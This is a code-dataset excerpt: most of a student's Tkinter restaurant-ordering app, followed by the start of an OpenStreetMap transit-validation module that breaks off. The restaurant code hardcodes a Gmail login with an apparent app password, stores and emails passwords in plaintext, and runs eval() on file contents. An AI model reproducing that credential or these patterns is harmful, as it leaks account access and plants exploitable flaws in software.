range(len(dinner)):\r\n        li=\"label\"+str(i)\r\n        li=Label(window,text=dinner[i][0],font=\"times 18\")\r\n        li.place(x=400,y=(30*(1.5*i)+150))\r\n        \r\n        lp=\"l2\"+str(i)\r\n        lp=Label(window,text=dinner[i][1],font=\"times 18\")\r\n        lp.place(x=900,y=(30*(1.5*i)+150))\r\n\r\n    breakfast1=[6,7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    now = datetime.datetime.now()\r\n    a=list(now.strftime(\"%H:%M:%S\"))\r\n    b=[]\r\n    c=\"\"\r\n    j=0\r\n    while(j<=len(a)-1):\r\n     if a[j]==\":\":\r\n        b.append(c)\r\n        c=\"\"\r\n        j=j+1\r\n     else:\r\n        c=c+str(a[j])\r\n        j=j+1\r\n    print(b)\r\n    for l in range(len(b)):\r\n     if l==0:\r\n        k=int(b[0])\r\n        if k in breakfast1:\r\n            breakfast_menu()\r\n        if k in lunch1:\r\n            lunch_menu()\r\n        if k in dinner1:\r\n            dinner_menu()\r\ndef table(a,b,datawin):\r\n     breakfast1=[7,8,9,10,11]\r\n     lunch1=[12,13,14,15,16,17]\r\n     dinner1=[18,19,20,21,22,23]\r\n     f=open(\"orders.txt\",\"r\")\r\n     c=f.read()\r\n     dlist=c.split(\"$\")\r\n     dlist[-1]=\"flag\"\r\n     dlist.remove(\"flag\")\r\n     for i in range(len(dlist)):\r\n        dlist[i]=eval(dlist[i])\r\n     biglist=[[\"S.NO\",\"CUSTOMER NAME\",\"NO OF DISHES\",\"TOTAL BILL AMOUNT\"]]\r\n     k1=a.get().split(\"-\")\r\n     if b.get()==\"Breakfast\":\r\n        count2=0\r\n        for i in range(len(dlist)):\r\n            tot=0\r\n            if int(dlist[i][4]) in breakfast1 and dlist[i][3]==k1[0]:\r\n                count2=count2+1\r\n                for j in range(len(dlist[i][1])):\r\n                    for k in range(len(breakfast)):\r\n                        if dlist[i][1][j][0]==breakfast[k][0]:\r\n                            tot=tot+int(dlist[i][1][j][1])*breakfast[k][2]\r\n                br=[count2,dlist[i][0],len(dlist[i][1]),tot*1.05]\r\n                biglist.append(br)\r\n     if b.get()==\"Lunch\":\r\n        count2=0\r\n        print(dlist)\r\n        for i in range(len(dlist)):\r\n            tot=0\r\n            if int(dlist[i][4]) in lunch1 and dlist[i][3]==k1[0]:\r\n                count2+=1\r\n                for j in range(len(dlist[i][1])):\r\n                    for k in range(len(lunch)):\r\n                        if dlist[i][1][j][0]==lunch[k][0]:\r\n                             tot=tot+int(dlist[i][1][j][1])*lunch[k][2]\r\n                br=[count2,dlist[i][0],len(dlist[i][1]),tot*1.05]\r\n                biglist.append(br)\r\n     print(biglist)\r\n     if b.get()==\"Dinner\":\r\n        count2=0\r\n        for i in range(len(dlist)):\r\n            tot=0\r\n            if int(dlist[i][4]) in dinner1 and dlist[i][3]==k1[0]:\r\n                count2+=1\r\n                for j in range(len(dlist[i][1])):\r\n                    for k in range(len(dinner)):\r\n                        if dlist[i][1][j][0]==dinner[k][0]:\r\n                            tot=tot+int(dlist[i][1][j][1])*dinner[k][2]\r\n                br=[1,dlist[i][0],len(dlist[i][1]),tot*1.05]\r\n                biglist.append(br)\r\n     if len(biglist)==1:\r\n        big=Toplevel(tkWindow)\r\n        big.state(\"zoomed\")\r\n        biglab=Label(big,text=\"THERE ARENT ANY ORDERS YET FOR THIS SESSION\",font=\"times 25\")\r\n        biglab.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n     else:\r\n        def Table_create(root):\r\n         for i in range(total_rows):\r\n            for j in range(total_columns):\r\n                 \r\n                e = Entry(root, width=20, fg='blue',\r\n                               font=('Arial',16,'bold'))\r\n                 \r\n                e.grid(row=i, column=j)\r\n                e.insert(END, biglist[i][j])\r\n        total_rows=len(biglist)\r\n        total_columns=len(biglist[0])\r\n\r\n        display=Toplevel(tkWindow)\r\n        if b.get()==\"Breakfast\":\r\n         display.title(\"MENU FOR BREAKFAST\")\r\n        if b.get()==\"Lunch\":\r\n         display.title(\"MENU FOR LUNCH\")\r\n        if b.get()==\"Dinner\":\r\n         display.title(\"MENU FOR FINNER\")\r\n        t=Table_create(display)\r\n    \r\n\r\ndef data():\r\n    datawin=Toplevel(tkWindow)\r\n    datawin.state(\"zoomed\")\r\n    datawin.configure(bg=\"white\")\r\n    dataimg=Label(datawin,image=details)\r\n    dataimg.place(relx=0.20,rely=0.2,anchor=\"center\")\r\n    datalab=Label(datawin,text=\"ORDER DETAILS\",font=\"times 30\")\r\n    datalab.place(relx=0.45,rely=0.2,anchor=\"center\")\r\n    datalabel=Label(datawin,text=\"Enter date (in DD-MM-YYYY format)\",font=\"times 25\")\r\n    datalabel.place(relx=0.27,rely=0.50,anchor=\"center\")\r\n    dateentry=StringVar()\r\n    date=Entry(datawin,textvariable=dateentry)\r\n    date.place(relx=0.5,rely=0.50,anchor=\"center\")\r\n    session=Label(datawin,text=\"Enter session\",font=\"times 25\")\r\n    session.place(relx=0.35,rely=0.65,anchor=\"center\")\r\n    sessionentry=StringVar()\r\n    sessionentry=Entry(datawin,textvariable=sessionentry)\r\n    sessionentry.place(relx=0.5,rely=0.65,anchor=\"center\")\r\n    Table=partial(table,dateentry,sessionentry,datawin)\r\n    ok=Button(datawin,text=\"OK\",command=Table,height= 5, width=10)\r\n    ok.place(relx=0.45,rely=0.80,anchor=\"center\")\r\ndef Help():\r\n    helpwin=Toplevel(tkWindow)\r\n    helpwin.state(\"zoomed\")\r\n    label5=Label(helpwin,image=back)\r\n    label5.place(x=0,y=0)\r\n    label6=Label(helpwin,image=help4)\r\n    label6.place(relx=0.55,rely=0.5,anchor=\"center\")\r\n    b3=Button(helpwin,image=home1,command=helpwin.destroy)\r\n    b3.place(relx=0.085,rely=0.5,anchor=\"center\")\r\n    \r\n\r\ntkWindow = Tk()\r\ntkWindow.title(\"HOTEL ASA\")\r\ntkWindow.state(\"zoomed\")\r\nimage=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\Restaurant.jpg\"))\r\nlabel=Label(tkWindow,image=image)\r\nlabel.place(x=0,y=0)\r\nlogoimage=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\logo.jpg\"))\r\nlabel34=Label(tkWindow,image=logoimage)\r\nlabel34.place(relx=0.5,rely=0.35,anchor=\"center\")\r\nimag=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\username.jpg\"))\r\npass1=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\pass1.jpg\"))\r\nemage=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\emage.jpg\"))\r\nim=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\buff.jpg\"))\r\n#border=ImageTk.PhotoImage(Image.open(\"border.png\"))\r\nblack=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\black.png\"))\r\nblacklabel=Label(tkWindow,image=black)\r\n#borderlabel=Label(tkWindow,image=border)\r\n#borderlabel.place(x=0,y=0)\r\nblacklabel.place(relx=0.5,rely=0.1,anchor=\"center\")\r\nproceed1=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\proceed.jpg\"))\r\nim1=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\lunch.jpg\"))\r\nim45=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\manager.png\"))\r\nim2=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\dinner.jpg\"))\r\nback=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\About.jpg\"))\r\nimagen=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\now.png\"))\r\nlogo=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\aboutlogo.jpg.png\"))\r\nmenl=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\menulogo.png\"))\r\norder=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\order.png\"))\r\nhotel=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\hotel.png\"))\r\ncart=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\cart.png\"))\r\nlook=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\look.jpg\"))\r\nbpic=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\home.png\"))\r\npic=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\payment.png\"))\r\nasa=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\hotel asa.png\"))\r\npasswind=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\passwin.png\"))\r\nbill=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\bill.png\"))\r\ntoken=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\token.png\"))\r\nfig=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\fig.png\"))\r\ndetails=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\details.png\"))\r\nhelp3=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\help.jpg\"))\r\nhelp4=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\helpus.png\"))\r\nhome1=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\home1.png\"))\r\ndef about_us():\r\n    global back\r\n    w=Toplevel(tkWindow)\r\n    w.state(\"zoomed\")\r\n    wlabel=Label(w,image=back)\r\n    wlabel.place(x=0,y=0)\r\n    bimg=Label(w,image=imagen)\r\n    bimg.place(relx=0.5,rely=0.5,anchor=\"center\")\r\ndef track_order(username):\r\n    user=username\r\n    ca=Toplevel(tkWindow)\r\n    ca.state(\"zoomed\")\r\n    imgna=Label(ca,image=look)\r\n    imgna.place(x=0,y=0)\r\n    cartlabel=Label(ca,image=cart)\r\n    cartlabel.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n    b4=Button(ca,image=home1,command=ca.destroy)\r\n    b4.place(relx=0.085,rely=0.5,anchor=\"center\")\r\n    tot=\"\"\r\n    tot1=\"\"\r\n    count=0\r\n    today=date.today()\r\n    today1=str(today)\r\n    clist=today1.split(\"-\")\r\n    now = datetime.datetime.now()\r\n    a=list(now.strftime(\"%H:%M:%S\"))\r\n    b=[]\r\n    c=\"\"\r\n    j=0\r\n    while(j<=len(a)-1):\r\n     if a[j]==\":\":\r\n       b.append(c)\r\n       c=\"\"\r\n       j=j+1\r\n     else:\r\n       c=c+str(a[j])\r\n       j=j+1\r\n    clist.extend(b)\r\n    breakfast1=[7,8,9,10,11]\r\n    lunch1=[12,13,14,15,16,17]\r\n    dinner1=[18,19,20,21,22,23]\r\n    b1=[user,itemlist,clist[2],clist[3]]\r\n    f=open(\"orders.txt\",\"r\")\r\n    c=f.read()\r\n    dlist=c.split(\"$\")\r\n    dlist[-1]=\"flag\"\r\n    dlist.remove(\"flag\")\r\n    blist=[]\r\n    for i in range(len(dlist)):\r\n        dlist[i]=eval(dlist[i])\r\n    print(dlist)\r\n    print(clist)\r\n    for i in range(len(dlist)):\r\n        if int(b[0]) in breakfast1:\r\n            menulist=breakfast1\r\n            if dlist[i][3]==clist[2] and int(dlist[i][4]) in menulist:\r\n                blist.append(dlist[i])\r\n        if int(b[0]) in lunch1:\r\n            menulist=lunch1\r\n            if dlist[i][3]==clist[2] and int(dlist[i][4]) in menulist:\r\n                blist.append(dlist[i])\r\n        if int(b[0]) in dinner1:\r\n            menulist=dinner1\r\n            if dlist[i][3]==clist[2] and int(dlist[i][4]) in menulist:\r\n                blist.append(dlist[i])\r\n    print(blist)\r\n    for i in range(len(blist)):\r\n        if user==blist[i][0]:\r\n            for j in range(len(blist[i][1])):\r\n                tot=tot+blist[i][1][j][0]+\"\\n\"+\"\\n\"\r\n                tot1=tot1+str(blist[i][1][j][1])+\"\\n\"+\"\\n\"\r\n            newlabel=Label(ca,text=tot,font=\"times 20\")\r\n            newlabel.place(relx=0.39,rely=0.47,anchor=\"center\")\r\n            nlabel=Label(ca,text=tot1,font=\"times 20\")\r\n            nlabel.place(relx=0.62,rely=0.47,anchor=\"center\")\r\n        else:\r\n            count=count+1\r\n    if count==len(blist):\r\n        sigma=Label(ca,image=fig)\r\n        sigma.place(relx=0.5,rely=0.5,anchor=\"center\")\r\ndef validateLogin(username, password):\r\n  global logo\r\n  user=username.get()\r\n  Menu=partial(menu,user)\r\n  Track_order=partial(track_order,user)\r\n  f=open(\"login.txt\",\"r\")\r\n  c=f.read()\r\n  d=c.split()\r\n  e=[]\r\n  for i in d:\r\n    e.append(i.split(\"-\"))\r\n  count=0\r\n  for i in range(len(e)):\r\n    if e[i][0]==username.get() and e[i][1]==password.get():\r\n      new=Toplevel(tkWindow)\r\n      new.state(\"zoomed\")\r\n      image1=ImageTk.PhotoImage(Image.open(\"C:\\\\Users\\\\ankit\\\\OneDrive\\\\Desktop\\\\Project folder\\\\restuarant1.jpg\"))\r\n      label3=Label(new,image=image1)\r\n      label3.place(x=0,y=0)\r\n      newlabel=Label(new,image=hotel)\r\n      newlabel.place(relx=0.5,rely=0.13,anchor=\"center\")\r\n      new.title(\"Welcome to XYZ hotel\")\r\n      about=Button(new,text=\"About us\",padx=50,pady=50,command=about_us,image=logo)\r\n      about.place(relx=0.04,rely=0.4,anchor=\"center\")\r\n      help1=Button(new,image=help3,command=Help)\r\n      help1.place(relx=0.04,rely=0.55,anchor=\"center\")\r\n      menu1=Button(new,command=Menu,image=menl)\r\n      menu1.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n      Order=Button(new,padx=50,pady=50,image=order,command=Track_order)\r\n      Order.place(relx=0.5,rely=0.7,anchor=\"center\")\r\n      new.mainloop()\r\n    else:\r\n      count=count+1\r\n  if count==len(e):\r\n   loginlab=Toplevel(tkWindow)\r\n   loginlab.geometry=(\"400z400\")\r\n   loginlab.state(\"zoomed\")\r\n   loginlabel=Label(loginlab,text=\"YOU DONT SEEM TO HAVE REGISTERED WITH US\"+\"\\n\"+\"KINDLY REGISTER IF YOU HAVENT\",font=\"times 10\")\r\n   loginlabel.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n   buttonlab=Button(loginlab,text=\"OK\",padx=3.5,command=loginlab.destroy)\r\n   buttonlab.place(relx=0.5,rely=0.75,anchor=\"center\")\r\n  f.close()\r\ndef validate_hotel(username,password):\r\n    f1=open(\"hotelogin.txt\",\"r\")\r\n    c=f1.read()\r\n    d=c.split()\r\n    e=[]\r\n    for i in d:\r\n        e.append(i.split(\"-\"))\r\n    for i in range(len(e)):\r\n        if e[i][0]==username.get() and e[i][1]==password.get():\r\n            hotle=Toplevel(tkWindow)\r\n            hotle.geometry(\"400x400\")\r\n            hotle.configure(bg=\"white\")\r\n            hotle.state(\"zoomed\")\r\n            hotelim=Label(hotle,image=im45)\r\n            hotelim.place(relx=0.5,rely=0.45,anchor=\"center\")\r\n            lab=Label(hotle,text=\"WELCOME MR.\"+e[i][0].upper(),font=\"times 30\")\r\n            lab.place(relx=0.5,rely=0.12,anchor=\"center\")\r\n            btnd=Button(hotle,text=\"View Current Session's menu\",command=hotel_f)\r\n            btnd.place(relx=0.4,rely=0.77,anchor=\"center\")\r\n            btnd1=Button(hotle,text=\"View Order details\",command=data)\r\n            btnd1.place(relx=0.6,rely=0.77,anchor=\"center\")\r\n    f1.close()\r\ndef validateRegister(username,password,email):\r\n  f=open(\"login.txt\",\"r\")\r\n  c=f.read()\r\n  d=c.split()\r\n  user=username.get()\r\n  if \"@gmail.com\" not in email.get():\r\n      emaillab=Toplevel(tkWindow)\r\n      emaillab.geometry(\"410x400\")\r\n      label6=Label(emaillab,text=\"KINDLY ENTER A CORRECT EMAIL ADDRESS\",font=\"times 15\")\r\n      label6.place(relx=0.5,rely=0.4,anchor=\"center\")\r\n  else:\r\n      e=[]\r\n      countlog=0\r\n      flag=True\r\n      for i in d:\r\n        e.append(i.split(\"-\"))\r\n      if bool(re.search(r'\\d', user))==True or len(password.get())>6:\r\n            userlab1=Toplevel(tkWindow)\r\n            userlab1.geometry(\"410x400\")\r\n            c=\"                     TROUBLE REGISTERING!!           \"\r\n            c1=\"            PLEASE CHECK FOR THE FOLLOWING           \"\r\n            c2=\"               1. USERNAME SHOULD CONTAIN ONLY ALPHABETS      \"\r\n            c3=\"               2.PASSWORD LENGTH SHOULD NOT EXCEED 6 CHARACTERS  \"\r\n            d=c+\"\\n\"+\"\\n\"+c1+\"\\n\"+\"\\n\"+c2+\"\\n\"+c3+\"\\n\"\r\n            label22=Label(userlab1,text=d,font=\"times 10\")\r\n            label22.place(relx=0.5,rely=0.5,anchor=\"center\")\r\n            flag=False\r\n      for i in range(len(e)):\r\n        if username.get()==e[i][0] or password.get()==e[i][1]:\r\n          userlab=Toplevel(tkWindow)\r\n          userlab.geometry(\"410x400\")\r\n          label=Label(userlab,text=\"Credentials already exists, try a new one\",font=\"times 20\")\r\n          label.place(x=40,y=150)\r\n          break\r\n        else:\r\n            countlog=countlog+1\r\n      if countlog==len(e) and flag==True:\r\n          f=open(\"login.txt\",\"a\")\r\n          f.write(\"\\n\")\r\n          f.write(username.get())\r\n          f.write(\"-\")\r\n          f.write(password.get())\r\n          f.write(\"-\")\r\n          f.write(email.get())\r\n          f.close()\r\n          wini=Toplevel(tkWindow)\r\n          wini.geometry(\"200x200\")\r\n          winlabel=Label(wini,image=asa)\r\n          winlabel.place(x=0,y=0)\r\n          Main=partial(main,user)\r\n          button2=Button(wini,text=\"Continue\",command=Main)\r\n          button2.place(relx=0.5,rely=0.75,anchor=\"center\")\r\ndef forgot_password(username):\r\n    f=open(\"login.txt\",\"r\")\r\n    c=f.read()\r\n    d=c.split()\r\n    e=[]\r\n    for i in d:\r\n        e.append(i.split(\"-\"))\r\n    for i in range(len(e)):\r\n        if e[i][0]==username.get():\r\n            email=e[i][2]\r\n            password=e[i][1]\r\n    c=\"\"\r\n    s = smtplib.SMTP('smtp.gmail.com', 587)\r\n    # start TLS for security\r\n    s.starttls()\r\n\r\n    # Authentication\r\n    s.login(\"hotel1.tas@gmail.com\", \"adzj pfqi twvm cnlz\")\r\n    \r\n    \r\n    c=c+\"Your password is\"+\" \"+str(password)\r\n\r\n    # message to be sent\r\n    message=c\r\n\r\n    # sending the mail\r\n    s.sendmail(\"hotel1.tas@gmail.com\",email, message)\r\n\r\n    s.quit()\r\n    passwin=Toplevel(tkWindow)\r\n    passwin.geometry(\"325x200\")\r\n    passlabel=Label(passwin,image=passwind)\r\n    passlabel.place(x=0,y=0)\r\n    newimg=Button(passwin,text=\"OK\",command=passwin.destroy)\r\n    newimg.place(relx=0.5,rely=0.75,anchor=\"center\")\r\n#username label and text entry box\r\nusernameLabel = Label(tkWindow, text=\"User Name\",font=\"times 25\",image=imag)\r\nusernameLabel.place(relx=0.4,rely=0.55,anchor=\"center\")\r\nusername = StringVar()\r\nusernameEntry = Entry(tkWindow, textvariable=username)\r\nusernameEntry.place(relx=0.565,rely=0.55,anchor=\"center\",height=26,width=200)\r\n#password label and password entry box\r\npasswordLabel = Label(tkWindow,text=\"Password\",font=\"times 25\",image=pass1)\r\npasswordLabel.place(relx=0.4,rely=0.68,anchor=\"center\")\r\npassword = StringVar()\r\npasswordEntry = Entry(tkWindow, textvariable=password,show='*')\r\npasswordEntry.place(relx=0.5,rely=0.66,height=26,width=200)\r\n\r\n#email label and email entry box\r\nemaillabel=Label(tkWindow,text=\"Email(Only for registering)\",font=\"times 25\",image=emage)\r\nemaillabel.place(relx=0.29,rely=0.77)\r\nemail=StringVar()\r\nemailentry=Entry(tkWindow,textvariable=email)\r\nemailentry.place(relx=0.5,rely=0.795,height=26,width=200)\r\n     \r\nvalidateLogin = partial(validateLogin,username, password)\r\n#login button\r\nloginButton = Button(tkWindow, text=\"Customer Login\", command=validateLogin)\r\nloginButton.place(relx=0.21,rely=0.92)\r\nvalidate_Hotel=partial(validate_hotel,username,password)\r\n#hotel login\r\nhotellogin=Button(tkWindow,text=\"Manager Login\",command=validate_Hotel)\r\nhotellogin.place(relx=0.35,rely=0.92)\r\n#register button\r\nvalidateRegister=partial(validateRegister,username,password,email)\r\nRegisterbutton=Button(tkWindow, text=\"Register\",command=validateRegister)\r\nRegisterbutton.place(relx=0.50,rely=0.92)\r\n#forgot password button\r\nforgotpassword=partial(forgot_password,username)\r\nForgotpassword=Button(tkWindow,text=\"Forgot Password\",command=forgotpassword)\r\nForgotpassword.place(relx=0.65,rely=0.92)\r\n","repo_name":"Ankit240603/Restaurant-ASA","sub_path":"Final project.py","file_name":"Final project.py","file_ext":"py","file_size_in_byte":48022,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33905132860","text":"import csv\nimport logging\nimport math\nimport urllib.parse\nimport urllib.request\nfrom css_colours import normalize_colour\nfrom collections import Counter, defaultdict\n\n\nSPREADSHEET_ID = '1-UHDzfBwHdeyFxgC5cE_MaNQotF3-Y0r1nW9IwpIEj8'\nMAX_DISTANCE_TO_ENTRANCES = 300  # in meters\nMAX_DISTANCE_STOP_TO_LINE = 50  # in meters\nALLOWED_STATIONS_MISMATCH = 0.02   # part of total station count\nALLOWED_TRANSFERS_MISMATCH = 0.07  # part of total interchanges count\nALLOWED_ANGLE_BETWEEN_STOPS = 45  # in degrees\nDISALLOWED_ANGLE_BETWEEN_STOPS = 20  # in degrees\n\n# If an object was moved not too far compared to previous script run,\n# it is likely the same object\nDISPLACEMENT_TOLERANCE = 300  # in meters\n\nMODES_RAPID = set(('subway', 'light_rail', 'monorail', 'train'))\nMODES_OVERGROUND = set(('tram', 'bus', 'trolleybus', 'aerialway', 'ferry'))\nDEFAULT_MODES_RAPID = set(('subway', 'light_rail'))\nDEFAULT_MODES_OVERGROUND = set(('tram',))  # TODO: bus and trolleybus?\nALL_MODES = MODES_RAPID | MODES_OVERGROUND\nRAILWAY_TYPES = set(('rail', 'light_rail', 'subway', 'narrow_gauge',\n                     'funicular', 'monorail', 'tram'))\nCONSTRUCTION_KEYS = ('construction', 'proposed', 'construction:railway', 'proposed:railway')\n\nused_entrances = set()\n\n\nclass CriticalValidationError(Exception):\n    \"\"\"Is thrown if an error occurs\n    that prevents further validation of a city.\"\"\"\n\n\ndef el_id(el):\n    if not el:\n        return None\n    if 'type' not in el:\n        raise Exception('What is this element? {}'.format(el))\n    return el['type'][0] + str(el.get('id', el.get('ref', '')))\n\n\ndef el_center(el):\n    if not el:\n        return None\n    if 'lat' in el:\n        return (el['lon'], el['lat'])\n    elif 'center' in el:\n        return (el['center']['lon'], el['center']['lat'])\n    return None\n\n\ndef distance(p1, p2):\n    if p1 is None or p2 is None:\n        raise Exception('One of arguments to distance({}, {}) is None'.format(p1, p2))\n    dx = math.radians(p1[0] - p2[0]) * math.cos(\n        0.5 * math.radians(p1[1] + p2[1]))\n    dy = math.radians(p1[1] - p2[1])\n    return 6378137 * math.sqrt(dx*dx + dy*dy)\n\n\ndef is_near(p1, p2):\n    return (p1[0] - 1e-8 <= p2[0] <= p1[0] + 1e-8 and\n            p1[1] - 1e-8 <= p2[1] <= p1[1] + 1e-8)\n\n\ndef project_on_line(p, line):\n    def project_on_segment(p, p1, p2):\n        dp = (p2[0] - p1[0], p2[1] - p1[1])\n        d2 = dp[0]*dp[0] + dp[1]*dp[1]\n        if d2 < 1e-14:\n            return None\n        # u is the position of projection of p point on line p1p2\n        # regarding point p1 and (p2-p1) direction vector\n        u = ((p[0] - p1[0])*dp[0] + (p[1] - p1[1])*dp[1]) / d2\n        if not 0 <= u <= 1:\n            return None\n        return u\n\n    result = {\n        # In the first approximation, position on rails is the index of the\n        # closest vertex of line to the point p. Fractional value means that\n        # the projected point lies on a segment between two vertices. More than\n        # one value can occur if a route follows the same tracks more than once.\n        'positions_on_line': None,\n        'projected_point': None  # (lon, lat)\n    }\n\n    if len(line) < 2:\n        return result\n    d_min = MAX_DISTANCE_STOP_TO_LINE * 5\n    closest_to_vertex = False\n    # First, check vertices in the line\n    for i, vertex in enumerate(line):\n        d = distance(p, vertex)\n        if d < d_min:\n            result['positions_on_line'] = [i]\n            result['projected_point'] = vertex\n            d_min = d\n            closest_to_vertex = True\n        elif vertex == result['projected_point']:\n            # Repeated occurrence of the track vertex in line, like Oslo Line 5\n            result['positions_on_line'].append(i)\n    # And then calculate distances to each segment\n    for seg in range(len(line)-1):\n        # Check bbox for speed\n        if not ((min(line[seg][0], line[seg+1][0]) - MAX_DISTANCE_STOP_TO_LINE <= p[0] <=\n                 max(line[seg][0], line[seg+1][0]) + MAX_DISTANCE_STOP_TO_LINE) and\n                (min(line[seg][1], line[seg+1][1]) - MAX_DISTANCE_STOP_TO_LINE <= p[1] <=\n                 max(line[seg][1], line[seg+1][1]) + MAX_DISTANCE_STOP_TO_LINE)):\n            continue\n        u = project_on_segment(p, line[seg], line[seg+1])\n        if u:\n            projected_point = (\n                line[seg][0] + u * (line[seg+1][0] - line[seg][0]),\n                line[seg][1] + u * (line[seg+1][1] - line[seg][1])\n            )\n            d = distance(p, projected_point)\n            if d < d_min:\n                result['positions_on_line'] = [seg + u]\n                result['projected_point'] = projected_point\n                d_min = d\n                closest_to_vertex = False\n            elif projected_point == result['projected_point']:\n                # Repeated occurrence of the track segment in line, like Oslo Line 5\n                if not closest_to_vertex:\n                    result['positions_on_line'].append(seg + u)\n    return result\n\n\ndef find_segment(p, line, start_vertex=0):\n    \"\"\"Returns index of a segment and a position inside it.\"\"\"\n    EPS = 1e-9\n    for seg in range(start_vertex, len(line)-1):\n        if is_near(p, line[seg]):\n            return seg, 0\n        if line[seg][0] == line[seg+1][0]:\n            if not (p[0]-EPS <= line[seg][0] <= p[0]+EPS):\n                continue\n            px = None\n        else:\n            px = (p[0] - line[seg][0]) / (line[seg+1][0] - line[seg][0])\n        if px is None or (0 <= px <= 1):\n            if line[seg][1] == line[seg+1][1]:\n                if not (p[1]-EPS <= line[seg][1] <= p[1]+EPS):\n                    continue\n                py = None\n            else:\n                py = (p[1] - line[seg][1]) / (line[seg+1][1] - line[seg][1])\n            if py is None or (0 <= py <= 1):\n                if py is None or px is None or (px-EPS <= py <= px+EPS):\n                    return seg, px or py\n    return None, None\n\n\ndef distance_on_line(p1, p2, line, start_vertex=0):\n    \"\"\"Calculates distance via line between projections\n    of points p1 and p2. Returns a TUPLE of (d, vertex):\n    d is the distance and vertex is the number of the second\n    vertex, to continue calculations for the next point.\"\"\"\n    line_copy = line\n    seg1, pos1 = find_segment(p1, line, start_vertex)\n    if seg1 is None:\n        # logging.warn('p1 %s is not projected, st=%s', p1, start_vertex)\n        return None\n    seg2, pos2 = find_segment(p2, line, seg1)\n    if seg2 is None:\n        if line[0] == line[-1]:\n            line = line + line[1:]\n            seg2, pos2 = find_segment(p2, line, seg1)\n        if seg2 is None:\n            # logging.warn('p2 %s is not projected, st=%s', p2, start_vertex)\n            return None\n    if seg1 == seg2:\n        return distance(line[seg1], line[seg1+1]) * abs(pos2-pos1), seg1\n    if seg2 < seg1:\n        # Should not happen\n        raise Exception('Pos1 %s is after pos2 %s', seg1, seg2)\n    d = 0\n    if pos1 < 1:\n        d += distance(line[seg1], line[seg1+1]) * (1-pos1)\n    for i in range(seg1+1, seg2):\n        d += distance(line[i], line[i+1])\n    if pos2 > 0:\n        d += distance(line[seg2], line[seg2+1]) * pos2\n    return d, seg2 % len(line_copy)\n\n\ndef angle_between(p1, c, p2):\n    a = round(abs(math.degrees(math.atan2(p1[1]-c[1], p1[0]-c[0]) -\n                               math.atan2(p2[1]-c[1], p2[0]-c[0]))))\n    return a if a <= 180 else 360-a\n\n\ndef format_elid_list(ids):\n    msg = ', '.join(sorted(ids)[:20])\n    if len(ids) > 20:\n        msg += ', ...'\n    return msg\n\n\nclass Station:\n    @staticmethod\n    def get_modes(el):\n        mode = el['tags'].get('station')\n        modes = [] if not mode else [mode]\n        for m in ALL_MODES:\n            if 